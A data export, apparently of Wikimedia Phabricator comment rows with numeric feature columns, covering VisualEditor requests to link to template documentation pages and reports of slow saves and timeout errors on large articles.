MWTemplatePage: Show a link to the template even when there's a description

[[https://gerrit.wikimedia.org/r/257443]]
",,,1449525412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,127,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,15.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.8529411764705882,"Change 257443 had a related patch set uploaded (by Jforrester):
MWTemplatePage: Show a link to the template even when there's a description

[[GERRIT_URL]]
"
521539,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Exists templates with variable parameter names. If you create a tTD for a part of the parameters, then it just do not describe the other part of parameters and disappear link to the documentation. eg https://ru.wikipedia.org/wiki/Ш:Familytree",,,1441449224,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,113,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,8.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.8205128205128205,"Exists templates with variable parameter names. If you create a tTD for a part of the parameters, then it just do not describe the other part of parameters and disappear link to the documentation. eg URL"
249451,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","MediaWiki doesn't enforce any particular page being a documentation page, it's a thing made up by users.",,,1414817959,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,True,,,69,,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,0.9047619047619048,"MediaWiki doesn't enforce any particular page being a documentation page, it's a thing made up by users."
249450,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","If this wasn't clear enough, the user asks for a link to the template /documentation/ page.
Here's another example of the need to access documentation page:
https://bugzilla.wikimedia.org/show_bug.cgi?id=67986#c1
If the user doesn't read the template's manual, he currently has no way to guess that there may be several required parameters and which ones he needs to fill for the template to work correctly.",,,1405348985,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,54,,1.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,8.0,15.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,5.0,4.0,1.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,15.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.013513513513513,0.7027027027027027,"If this wasn't clear enough, the user asks for a link to the template /documentation/ page.
Here's another example of the need to access documentation page:
URL
If the user doesn't read the template's manual, he currently has no way to guess that there may be several required parameters and which ones he needs to fill for the template to work correctly."
249449,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This is being asked at ru.wp even for templates which have TemplateData info;
quoting the reasoning, the user wants to be able to access:
-full template documentation 
-see more examples of which are difficult to describe in words 
-read about other similar templates 
-edit template data.",,,1405346626,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,4.472727272727273,0.8181818181818182,"This is being asked at ru.wp even for templates which have TemplateData info;
quoting the reasoning, the user wants to be able to access:
-full template documentation 
-see more examples of which are difficult to describe in words 
-read about other similar templates 
-edit template data."
249448,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This was done two months ago for templates which lack documentation; I'm closing this as a ""WORKSFORME"" at this point, as if the user has to go read the template's page to understand what the documentation is telling them, the creator of the documentation has utterly failed.",,,1399324925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,11.0,4.0,5.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,15.0,2.0,0.0,4.0,0.0,4.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,4.163636363636364,0.7818181818181819,"This was done two months ago for templates which lack documentation; I'm closing this as a ""WORKSFORME"" at this point, as if the user has to go read the template's page to understand what the documentation is telling them, the creator of the documentation has utterly failed."
249446,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This bug seems to have strayed/widened far from the original simple request (which I remember also making on the feedback page at some point many days ago): when one is adding a template (""transclusion""), a button to link to the template page would be very useful - to be able to read all the detailed description there. Look at [[Template:Genukiwry]] as an example - it couldn't all be coded up into TemplateData, but it could be made accessible by providing a simple link which would open in a new tab / new window / popup (ie anything which wouldn't spoil the ongoing editing operation). This facility would be an area where VE could provide a better editing experience than Edit Source, and surely wouldn't need a huge programming effort.",,,1373999921,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,2,,2.0,0.5,0.5,1.5,2.0,7.5,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.5,7.5,8.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,3.0,0.0,1.5,0.5,1.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.0,12.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,7.5,3.5,5.5,1.0,1.5,11.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,2.0,8.0,3.0,0.0,1.0,0.0,2.0,0.0,3.0,5.0,0.0,1.5,0.5,0.0,1.0,3.987012987012987,0.7662337662337663,"This bug seems to have strayed/widened far from the original simple request (which I remember also making on the feedback page at some point many days ago): when one is adding a template (""transclusion""), a button to link to the template page would be very useful - to be able to read all the detailed description there. Look at [[Template:Genukiwry]] as an example - it couldn't all be coded up into TemplateData, but it could be made accessible by providing a simple link which would open in a new tab / new window / popup (ie anything which wouldn't spoil the ongoing editing operation). This facility would be an area where VE could provide a better editing experience than Edit Source, and surely wouldn't need a huge programming effort."
249442,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","I googled ""mediawiki glossary"" and found this: 
*[[mw:Manual:Glossary]] - now bookmarked. :)

I am not using ""parameter"" correctly in the context of MediaWiki. I couldn't find ""parser"" listed in the glossary. :)

My point with both bugs is to get links to the template pages so that people can edit them in wikitext source mode there on the template page. Nothing more. I am not interested in being able to edit templates within VE at all. 

In fact, With the exception of reference templates I think editing of templates within VE should be disabled since it is not WYSIWYG, and only adds a new layer of abstraction. I think the only thing that should be provided by VE is a link to the template page. 

If an editor of Wikipedia like me with 26,000 edits does not understand the terms (parameter) used in VE template editing, then imagine the difficulty new editors have when they see those terms listed in VE template editing. 

I would like VE mainly to do text editing and references. Nothing more for now. I think people would be ecstatic with that. Since there are so many reference templates, I think that alone may require an increase in the number of paid full-time developers assigned to VE. 

I actually understand a lot about table editing and template editing, but only at the wikitext editing level. I can do it, but not always explain it, since my knowledge mostly comes from hacking at it over the years. :) I help edit this page:
*[[Help:Sorting]]",,,1371717599,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,0.25,1.5,2.5,1.5,0.0,0.0,0.25,2.0,0.25,0.25,0.75,0.25,4.0,0.0,6.25,11.25,0.5,0.75,0.5,1.0,0.5,0.5,0.5,0.0,0.0,1.25,0.5,0.0,4.75,2.5,1.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,0.5,0.5,0.5,0.25,0.75,0.0,0.25,0.25,15.75,0.5,0.75,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.75,0.0,0.75,0.0,0.25,0.0,4.5,2.5,8.75,2.0,1.75,6.0,0.0,0.75,0.0,0.0,4.0,0.0,0.25,0.0,5.75,11.25,3.25,0.0,1.5,0.0,5.75,0.0,0.5,1.5,0.5,0.75,0.5,0.0,1.5,3.8354430379746836,0.731012658227848,"I googled ""mediawiki glossary"" and found this: 
*[[mw:Manual:Glossary]] - now bookmarked. :)

I am not using ""parameter"" correctly in the context of MediaWiki. I couldn't find ""parser"" listed in the glossary. :)

My point with both bugs is to get links to the template pages so that people can edit them in wikitext source mode there on the template page. Nothing more. I am not interested in being able to edit templates within VE at all. 

In fact, With the exception of reference templates I think editing of templates within VE should be disabled since it is not WYSIWYG, and only adds a new layer of abstraction. I think the only thing that should be provided by VE is a link to the template page. 

If an editor of Wikipedia like me with 26,000 edits does not understand the terms (parameter) used in VE template editing, then imagine the difficulty new editors have when they see those terms listed in VE template editing. 

I would like VE mainly to do text editing and references. Nothing more for now. I think people would be ecstatic with that. Since there are so many reference templates, I think that alone may require an increase in the number of paid full-time developers assigned to VE. 

I actually understand a lot about table editing and template editing, but only at the wikitext editing level. I can do it, but not always explain it, since my knowledge mostly comes from hacking at it over the years. :) I help edit this page:
*[[Help:Sorting]]"
249436,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","(In reply to comment #1)
> Here is a page that has a table and a couple transcluded navigation-box
> templates at the bottom:
> [[List of countries by incarceration rate]]
> 
> With VisualEditor (VE) the table is editable and WYSIWYG.

(Yay. :-))

> But with VE the existing text in the 2 navigation boxes can not be edited as
> far as I can tell. At least not within VE from that page. I am talking about
> after clicking the edit icons for the navigation boxes.

Yes, VisualEditor is disabled for the Template namespace, and likely will be for a very long time (or forever). It's mostly used for very complicated transclusion wikicode which often can't be edited visually, because it doesn't form a complete document, only part of one.

> New parameters can be added to one of the templates, but not to the other. I
> don't see a way to edit the text for existing parameters in either navigation
> box. 

I'm a bit lost here - you mean parameters on [[List of countries by incarceration rate]]'s invocations of [[Template:Incarceration]] and [[Template:Law country lists]]? Those templates take no parameters, though it's possible to add new parameters to template invocations that don't currently have one - see my edit (actually two edits) with VisualEditor here: https://en.wikipedia.org/w/index.php?title=List_of_countries_by_incarceration_rate&diff=560637005&oldid=559696805

> So to be able to edit one of those templates in source mode or otherwise it
> would be helpful to have a direct link to the transcluded template page, and
> not to the many templates that make up such a navigation box at the core
> level. 

You can definitely edit those templates in source mode still - do you mean, edit the invocation of those templates? You should be able to replicate anything you can do with a template invocation in source mode using VisualEditor at this point. On the other hand, trying to offer ""edit the source of this template invocation"" is extremely technically hard (as well as being a very complicated user interface issue for users).

> See related bug 878.

I'm afraid I don't see how that bug, about the wikitext editor's additional listing of templates used on section editing, is related. Could you explain the link?

I also don't see how this relates to this bug, which is a minor enhancement request to add a link to the used template on the template's pane (which I think is fine, but we'll have to work out if we can do this in all situations - what do we do when the ""template"" you're using is in fact a parser function? - etc.).",,,1371665278,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,True,,,-2,,0.25,0.25,1.0,0.5,1.25,4.0,1.75,0.25,0.25,0.25,1.75,2.25,0.0,0.25,0.0,2.25,0.0,7.0,9.75,0.25,1.75,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.25,6.0,1.5,0.75,1.25,1.75,0.0,0.5,0.0,0.25,0.25,0.0,0.0,3.0,0.0,0.75,0.0,0.25,0.0,14.5,0.25,2.0,0.5,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.75,1.75,0.0,0.0,0.0,0.25,0.5,4.25,2.5,10.0,1.5,1.0,8.0,0.0,0.25,0.0,0.25,5.75,0.25,1.0,0.0,4.75,9.75,3.75,1.0,1.0,0.0,4.75,0.0,2.0,2.0,0.0,0.75,0.0,0.0,1.75,3.76984882418813,0.6739081746920492,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(Yay. :-))

QUOTE
QUOTE
QUOTE

Yes, VisualEditor is disabled for the Template namespace, and likely will be for a very long time (or forever). It's mostly used for very complicated transclusion wikicode which often can't be edited visually, because it doesn't form a complete document, only part of one.

QUOTE
QUOTE
QUOTE

I'm a bit lost here - you mean parameters on [[List of countries by incarceration rate]]'s invocations of [[Template:Incarceration]] and [[Template:Law country lists]]? Those templates take no parameters, though it's possible to add new parameters to template invocations that don't currently have one - see my edit (actually two edits) with VisualEditor here: URL

QUOTE
QUOTE
QUOTE
QUOTE

You can definitely edit those templates in source mode still - do you mean, edit the invocation of those templates? You should be able to replicate anything you can do with a template invocation in source mode using VisualEditor at this point. On the other hand, trying to offer ""edit the source of this template invocation"" is extremely technically hard (as well as being a very complicated user interface issue for users).

QUOTE

I'm afraid I don't see how that bug, about the wikitext editor's additional listing of templates used on section editing, is related. Could you explain the link?

I also don't see how this relates to this bug, which is a minor enhancement request to add a link to the used template on the template's pane (which I think is fine, but we'll have to work out if we can do this in all situations - what do we do when the ""template"" you're using is in fact a parser function? - etc.)."
249430,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Here is a page that has a table and a couple transcluded navigation-box templates at the bottom:
[[List of countries by incarceration rate]]

With VisualEditor (VE) the table is editable and WYSIWYG.

But with VE the existing text in the 2 navigation boxes can not be edited as far as I can tell. At least not within VE from that page. I am talking about after clicking the edit icons for the navigation boxes. 

New parameters can be added to one of the templates, but not to the other. I don't see a way to edit the text for existing parameters in either navigation box. 

So to be able to edit one of those templates in source mode or otherwise it would be helpful to have a direct link to the transcluded template page, and not to the many templates that make up such a navigation box at the core level. 

See related bug 878.",,,1371619899,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,1.0,2.5,5.0,2.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,1.5,0.0,5.5,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,3.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,1.0,0.0,17.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,9.5,3.5,8.0,0.0,3.0,11.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,2.0,15.0,3.0,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,2.0,0.0,0.5,1.0,3.7513431013431013,0.673931623931624,"Here is a page that has a table and a couple transcluded navigation-box templates at the bottom:
[[List of countries by incarceration rate]]

With VisualEditor (VE) the table is editable and WYSIWYG.

But with VE the existing text in the 2 navigation boxes can not be edited as far as I can tell. At least not within VE from that page. I am talking about after clicking the edit icons for the navigation boxes. 

New parameters can be added to one of the templates, but not to the other. I don't see a way to edit the text for existing parameters in either navigation box. 

So to be able to edit one of those templates in source mode or otherwise it would be helpful to have a direct link to the transcluded template page, and not to the many templates that make up such a navigation box at the core level. 

See related bug 878."
51685,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"This is more of a tracking bug than anything else, but it should be something people are aware of and something that's formally logged; the VisualEditor is very slow on large articles, to the point where it causes confusing output.

Using the example of https://en.wikipedia.org/wiki/OpenOffice - I edited this and it took a good 20 seconds just to render 'review changes', and another 20 to save. David Gerard did the same and the server popped up  ""Error saving data to server: timeout."" with both 'review' and 'save'. Despite this, it saved anyway.

Obviously as a long-term thing: we shouldn't have an editor so slow that someone in an industrialised, Western nation (i.e. the UK) can't make things work.[1] As a short-term thing, we shouldn't be informing users ""something has gone terribly, terribly wrong, abort!"" when it has actually saved.

[1] It's David Gerard, he's not going to be using dial-up.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1371467880,1417556322.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_description,invalid,True,c1,2,False,False,False,-2,,0.0,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,6.0,1.0,0.0,0.0,0.0,1.3333333333333333,3.0,0.0,0.0,0.0,1.0,0.0,6.0,6.0,1.6666666666666667,1.3333333333333333,1.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,9.333333333333334,1.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,1.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,2.3333333333333335,6.666666666666667,1.3333333333333333,2.0,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,0.6666666666666666,0.0,3.6666666666666665,6.0,2.3333333333333335,0.0,3.6666666666666665,0.0,3.6666666666666665,0.0,1.0,2.0,0.0,2.0,0.3333333333333333,0.0,1.6666666666666667,3.639269406392694,0.7534246575342465,"This is more of a tracking bug than anything else, but it should be something people are aware of and something that's formally logged; the VisualEditor is very slow on large articles, to the point where it causes confusing output.

Using the example of URL - I edited this and it took a good 20 seconds just to render 'review changes', and another 20 to save. David Gerard did the same and the server popped up  ""Error saving data to server: timeout."" with both 'review' and 'save'. Despite this, it saved anyway.

Obviously as a long-term thing: we shouldn't have an editor so slow that someone in an industrialised, Western nation (i.e. the UK) can't make things work.[1] As a short-term thing, we shouldn't be informing users ""something has gone terribly, terribly wrong, abort!"" when it has actually saved.

[1] It's David Gerard, he's not going to be using dial-up.

--------------------------
**Version**: unspecified
**Severity**: normal"
335545,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],Let's use #VisualEditor-Performance instead.,,,1417556322,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,Let's use #VisualEditor-Performance instead.
243997,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Update on the test Oliver mentions at the top: on the same PC and the same Internet connection (though a current version of Firefox), it just now took:

* 10 seconds to open [[OpenOffice.org]]
* 176 seconds (nearly three minutes!) to render the ""Review your changes"" diff
* two minutes attempting to save, then ""Error: Unknown error"". The edit did, however, save: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&diff=597641893&oldid=593809275

It's a ... test subject ... of a page.",,,1393664271,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,9.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,12.0,1.0,1.0,9.0,0.0,0.0,1.0,0.0,6.0,0.0,6.0,0.0,3.0,9.0,3.0,0.0,4.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,4.0,3.4,0.66,"Update on the test Oliver mentions at the top: on the same PC and the same Internet connection (though a current version of Firefox), it just now took:

* 10 seconds to open [[OpenOffice.org]]
* 176 seconds (nearly three minutes!) to render the ""Review your changes"" diff
* two minutes attempting to save, then ""Error: Unknown error"". The edit did, however, save: URL

It's a ... test subject ... of a page."
243995,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"another stopped sript warning

**Attached**: {F11497}",,,1372621880,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7857142857142857,"another stopped sript warning

**Attached**: {F11497}"
243989,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Firefox chokes

This happens /before/ script-stop warnings.

**Attached**: {F11496}",,,1372621308,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8095238095238095,"Firefox chokes

This happens /before/ script-stop warnings.

**Attached**: {F11496}"
243984,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Stopped script warning

**Attached**: {F11495}",,,1372621284,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3076923076923075,0.7692307692307693,"Stopped script warning

**Attached**: {F11495}"
243980,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"It was previously doing a very dirty diff; I just tried again on this article and it did a clean diff, but timed out when I hit ""save"", three times in a row, and didn't actually save any of them.",,,1371560422,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,8.0,0.0,0.0,4.0,0.0,10.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,3.25,0.7916666666666666,"It was previously doing a very dirty diff; I just tried again on this article and it did a clean diff, but timed out when I hit ""save"", three times in a row, and didn't actually save any of them."
243975,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"(In reply to comment #3)
> It may also be worth noting that this page takes ~30 seconds in my use to
> save when using the ordinary source wikitext editor - it's a complex page!

